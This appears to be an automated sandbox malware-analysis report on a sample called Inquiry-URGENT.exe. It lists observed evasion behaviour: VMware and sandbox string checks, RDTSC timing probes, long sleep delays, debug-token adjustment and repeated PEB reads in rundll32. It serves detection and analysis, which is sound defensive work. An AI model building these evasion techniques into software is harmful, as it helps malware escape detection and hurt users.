Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.671240839.0000000002B43000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Inquiry-URGENT.exe PID: 6760, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Inquiry-URGENT.exe, 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: Inquiry-URGENT.exe, 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	RDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000009A8604 second address: 00000000009A860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000009A898E second address: 00000000009A8994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe TID: 6524	Thread sleep time: -35643s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe TID: 6984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1376	Thread sleep time: -55000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Code function: 3_2_004088C0 rdtsc

3_2_004088C0

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Thread delayed: delay time: 35643			Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Inquiry-URGENT.exe, 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000005.00000000.685379335.000000000FD39000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.701826310.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Inquiry-URGENT.exe, 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000005.00000000.713882043.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.701826310.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.682261629.000000000A897000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAb
Source: explorer.exe, 00000005.00000000.711242824.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.701954450.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.722279904.000000000FD5D000.00000004.00000001.sdmp	Binary or memory string: 6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Inquiry-URGENT.exe, 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000005.00000000.718318971.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: Inquiry-URGENT.exe, 00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Code function: 3_2_004088C0 rdtsc

3_2_004088C0

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2849B mov eax, dword ptr fs:[00000030h]	8_2_04B2849B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD14FB mov eax, dword ptr fs:[00000030h]	8_2_04BD14FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96CF0 mov eax, dword ptr fs:[00000030h]	8_2_04B96CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96CF0 mov eax, dword ptr fs:[00000030h]	8_2_04B96CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96CF0 mov eax, dword ptr fs:[00000030h]	8_2_04B96CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE8CD6 mov eax, dword ptr fs:[00000030h]	8_2_04BE8CD6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4BC2C mov eax, dword ptr fs:[00000030h]	8_2_04B4BC2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE740D mov eax, dword ptr fs:[00000030h]	8_2_04BE740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE740D mov eax, dword ptr fs:[00000030h]	8_2_04BE740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE740D mov eax, dword ptr fs:[00000030h]	8_2_04BE740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96C0A mov eax, dword ptr fs:[00000030h]	8_2_04B96C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96C0A mov eax, dword ptr fs:[00000030h]	8_2_04B96C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96C0A mov eax, dword ptr fs:[00000030h]	8_2_04B96C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96C0A mov eax, dword ptr fs:[00000030h]	8_2_04B96C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1C06 mov eax, dword ptr fs:[00000030h]	8_2_04BD1C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3746D mov eax, dword ptr fs:[00000030h]	8_2_04B3746D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAC450 mov eax, dword ptr fs:[00000030h]	8_2_04BAC450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAC450 mov eax, dword ptr fs:[00000030h]	8_2_04BAC450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4A44B mov eax, dword ptr fs:[00000030h]	8_2_04B4A44B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B41DB5 mov eax, dword ptr fs:[00000030h]	8_2_04B41DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B41DB5 mov eax, dword ptr fs:[00000030h]	8_2_04B41DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B41DB5 mov eax, dword ptr fs:[00000030h]	8_2_04B41DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE05AC mov eax, dword ptr fs:[00000030h]	8_2_04BE05AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE05AC mov eax, dword ptr fs:[00000030h]	8_2_04BE05AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B435A1 mov eax, dword ptr fs:[00000030h]	8_2_04B435A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4FD9B mov eax, dword ptr fs:[00000030h]	8_2_04B4FD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4FD9B mov eax, dword ptr fs:[00000030h]	8_2_04B4FD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42581 mov eax, dword ptr fs:[00000030h]	8_2_04B42581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42581 mov eax, dword ptr fs:[00000030h]	8_2_04B42581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42581 mov eax, dword ptr fs:[00000030h]	8_2_04B42581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42581 mov eax, dword ptr fs:[00000030h]	8_2_04B42581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B12D8A mov eax, dword ptr fs:[00000030h]	8_2_04B12D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B12D8A mov eax, dword ptr fs:[00000030h]	8_2_04B12D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B12D8A mov eax, dword ptr fs:[00000030h]	8_2_04B12D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B12D8A mov eax, dword ptr fs:[00000030h]	8_2_04B12D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B12D8A mov eax, dword ptr fs:[00000030h]	8_2_04B12D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BC8DF1 mov eax, dword ptr fs:[00000030h]	8_2_04BC8DF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2D5E0 mov eax, dword ptr fs:[00000030h]	8_2_04B2D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2D5E0 mov eax, dword ptr fs:[00000030h]	8_2_04B2D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDFDE2 mov eax, dword ptr fs:[00000030h]	8_2_04BDFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDFDE2 mov eax, dword ptr fs:[00000030h]	8_2_04BDFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDFDE2 mov eax, dword ptr fs:[00000030h]	8_2_04BDFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDFDE2 mov eax, dword ptr fs:[00000030h]	8_2_04BDFDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96DC9 mov eax, dword ptr fs:[00000030h]	8_2_04B96DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96DC9 mov eax, dword ptr fs:[00000030h]	8_2_04B96DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96DC9 mov eax, dword ptr fs:[00000030h]	8_2_04B96DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96DC9 mov ecx, dword ptr fs:[00000030h]	8_2_04B96DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96DC9 mov eax, dword ptr fs:[00000030h]	8_2_04B96DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B96DC9 mov eax, dword ptr fs:[00000030h]	8_2_04B96DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1AD30 mov eax, dword ptr fs:[00000030h]	8_2_04B1AD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDE539 mov eax, dword ptr fs:[00000030h]	8_2_04BDE539
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B23D34 mov eax, dword ptr fs:[00000030h]	8_2_04B23D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE8D34 mov eax, dword ptr fs:[00000030h]	8_2_04BE8D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B9A537 mov eax, dword ptr fs:[00000030h]	8_2_04B9A537
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B44D3B mov eax, dword ptr fs:[00000030h]	8_2_04B44D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B44D3B mov eax, dword ptr fs:[00000030h]	8_2_04B44D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B44D3B mov eax, dword ptr fs:[00000030h]	8_2_04B44D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3C577 mov eax, dword ptr fs:[00000030h]	8_2_04B3C577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3C577 mov eax, dword ptr fs:[00000030h]	8_2_04B3C577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B37D50 mov eax, dword ptr fs:[00000030h]	8_2_04B37D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B53D43 mov eax, dword ptr fs:[00000030h]	8_2_04B53D43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B93540 mov eax, dword ptr fs:[00000030h]	8_2_04B93540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BC3D40 mov eax, dword ptr fs:[00000030h]	8_2_04BC3D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE0EA5 mov eax, dword ptr fs:[00000030h]	8_2_04BE0EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE0EA5 mov eax, dword ptr fs:[00000030h]	8_2_04BE0EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE0EA5 mov eax, dword ptr fs:[00000030h]	8_2_04BE0EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B946A7 mov eax, dword ptr fs:[00000030h]	8_2_04B946A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAFE87 mov eax, dword ptr fs:[00000030h]	8_2_04BAFE87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B276E2 mov eax, dword ptr fs:[00000030h]	8_2_04B276E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B416E0 mov ecx, dword ptr fs:[00000030h]	8_2_04B416E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE8ED6 mov eax, dword ptr fs:[00000030h]	8_2_04BE8ED6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B58EC7 mov eax, dword ptr fs:[00000030h]	8_2_04B58EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B436CC mov eax, dword ptr fs:[00000030h]	8_2_04B436CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BCFEC0 mov eax, dword ptr fs:[00000030h]	8_2_04BCFEC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BCFE3F mov eax, dword ptr fs:[00000030h]	8_2_04BCFE3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1E620 mov eax, dword ptr fs:[00000030h]	8_2_04B1E620
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4A61C mov eax, dword ptr fs:[00000030h]	8_2_04B4A61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4A61C mov eax, dword ptr fs:[00000030h]	8_2_04B4A61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1C600 mov eax, dword ptr fs:[00000030h]	8_2_04B1C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1C600 mov eax, dword ptr fs:[00000030h]	8_2_04B1C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1C600 mov eax, dword ptr fs:[00000030h]	8_2_04B1C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B48E00 mov eax, dword ptr fs:[00000030h]	8_2_04B48E00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1608 mov eax, dword ptr fs:[00000030h]	8_2_04BD1608
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3AE73 mov eax, dword ptr fs:[00000030h]	8_2_04B3AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3AE73 mov eax, dword ptr fs:[00000030h]	8_2_04B3AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3AE73 mov eax, dword ptr fs:[00000030h]	8_2_04B3AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3AE73 mov eax, dword ptr fs:[00000030h]	8_2_04B3AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3AE73 mov eax, dword ptr fs:[00000030h]	8_2_04B3AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2766D mov eax, dword ptr fs:[00000030h]	8_2_04B2766D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B27E41 mov eax, dword ptr fs:[00000030h]	8_2_04B27E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B27E41 mov eax, dword ptr fs:[00000030h]	8_2_04B27E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B27E41 mov eax, dword ptr fs:[00000030h]	8_2_04B27E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B27E41 mov eax, dword ptr fs:[00000030h]	8_2_04B27E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B27E41 mov eax, dword ptr fs:[00000030h]	8_2_04B27E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B27E41 mov eax, dword ptr fs:[00000030h]	8_2_04B27E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDAE44 mov eax, dword ptr fs:[00000030h]	8_2_04BDAE44
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDAE44 mov eax, dword ptr fs:[00000030h]	8_2_04BDAE44
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B28794 mov eax, dword ptr fs:[00000030h]	8_2_04B28794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B97794 mov eax, dword ptr fs:[00000030h]	8_2_04B97794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B97794 mov eax, dword ptr fs:[00000030h]	8_2_04B97794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B97794 mov eax, dword ptr fs:[00000030h]	8_2_04B97794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B537F5 mov eax, dword ptr fs:[00000030h]	8_2_04B537F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4E730 mov eax, dword ptr fs:[00000030h]	8_2_04B4E730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B14F2E mov eax, dword ptr fs:[00000030h]	8_2_04B14F2E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B14F2E mov eax, dword ptr fs:[00000030h]	8_2_04B14F2E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3F716 mov eax, dword ptr fs:[00000030h]	8_2_04B3F716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAFF10 mov eax, dword ptr fs:[00000030h]	8_2_04BAFF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAFF10 mov eax, dword ptr fs:[00000030h]	8_2_04BAFF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE070D mov eax, dword ptr fs:[00000030h]	8_2_04BE070D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE070D mov eax, dword ptr fs:[00000030h]	8_2_04BE070D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4A70E mov eax, dword ptr fs:[00000030h]	8_2_04B4A70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4A70E mov eax, dword ptr fs:[00000030h]	8_2_04B4A70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2FF60 mov eax, dword ptr fs:[00000030h]	8_2_04B2FF60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE8F6A mov eax, dword ptr fs:[00000030h]	8_2_04BE8F6A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2EF40 mov eax, dword ptr fs:[00000030h]	8_2_04B2EF40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4F0BF mov ecx, dword ptr fs:[00000030h]	8_2_04B4F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4F0BF mov eax, dword ptr fs:[00000030h]	8_2_04B4F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4F0BF mov eax, dword ptr fs:[00000030h]	8_2_04B4F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0 mov eax, dword ptr fs:[00000030h]	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0 mov eax, dword ptr fs:[00000030h]	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0 mov eax, dword ptr fs:[00000030h]	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0 mov eax, dword ptr fs:[00000030h]	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0 mov eax, dword ptr fs:[00000030h]	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0 mov eax, dword ptr fs:[00000030h]	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B590AF mov eax, dword ptr fs:[00000030h]	8_2_04B590AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19080 mov eax, dword ptr fs:[00000030h]	8_2_04B19080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B93884 mov eax, dword ptr fs:[00000030h]	8_2_04B93884
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B93884 mov eax, dword ptr fs:[00000030h]	8_2_04B93884
